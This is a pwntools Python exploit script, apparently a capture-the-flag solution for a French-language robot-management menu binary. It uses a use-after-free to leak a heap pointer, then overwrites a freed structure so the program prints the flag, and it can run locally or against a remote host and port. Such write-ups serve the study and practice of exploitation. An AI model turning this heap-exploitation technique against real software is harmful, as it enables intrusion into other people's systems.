#!/bin/python
from pwn import *
from sys import argv

def recv_header(io):
    io.recvline()
    for i in range(4):
        io.recvline()

def create(io, data="Botman"):
    recv_header(io)
    io.sendline(b'1')
    io.sendlineafter(b"> Comment vous l'appelez ?\n", data)
    io.recvline()
    io.recvline()
    return 'robot created'

def manuel(io, data="data"):
    recv_header(io)
    io.sendline(b'4')
    io.sendlineafter(b"Vous commencez \xc3\xa0 r\xc3\xa9diger le mode d'emploi...\n", data)
    io.recvline()
    return 'manuel created'

def delete(io):
    recv_header(io)
    io.sendline(b'3')
    for i in range(3):
        io.recvline()
    return 'robot deleted'

def show(io):
    recv_header(io)
    io.sendline(b'2')
    return io.recvline()

def read(io):
    recv_header(io)
    io.sendline(b"5")
    io.recvline()
    return io.recvline()

def exploit(io, elf):
    create(io, b"A"*16)
    delete(io)
    manuel(io, b"A"*16)
    leak = read(io)
    leak = leak[leak.index(b'\xfc'):][:-2]

    hex_values = [hex(byte)[2:].zfill(2) for byte in leak if byte != 0]
    hex_string = bytes.fromhex((''.join(hex_values)))[:8][::-1]
    hex_int = int.from_bytes(hex_string, 'big')
    leak = int(f'0x0000{hex_int:012x}', 16)

    flag = leak + 0x180
    
    print("leak :" + hex(leak))
    print("flag :" + hex(flag))

    create(io, b"A"*16)
    delete(io)
    manuel(io, b"A"*16 + p64(flag))
    print(show(io))

if __name__ == "__main__":
    usage = '''
usage: ./exploit.py [binary] ?debug
       ./exploit.py remote [binary] [ip] [port] ?debug
       ./exploit.py [binary] ?gdb [command]

       default command = 'continue'
'''

    if len(argv) <= 1:
        print('error: no arguments specified\n'+usage)
        exit(0)

    elif len(argv) <= 5 and argv[1] != 'remote':
        context.binary = elf = ELF(argv[1])
        context.terminal = ["tmux", "splitw", '-h']
        p = process()
        if "gdb" in argv: gdb.attach(p, argv[-1]) if argv[-1] != 'gdb' else gdb.attach(p, 'continue')
        if "debug" in argv: context.log_level = "DEBUG"
        exploit(p,elf)
    elif len(argv) <= 6 and argv[1] == "remote":
        context.binary = elf = ELF(argv[2])
        p = remote(argv[3], int(argv[4]))
        if "debug" in argv: context.log_level = "DEBUG"
        exploit(p, elf)
    elif len(argv) > 5:
        print('error: too much params specified\n' + usage)
        exit(0)
    elif len(argv) <= 3:
        print('error: you forgot ip or/and port\n' + usage)
        exit(0)
    else:
        print(usage)
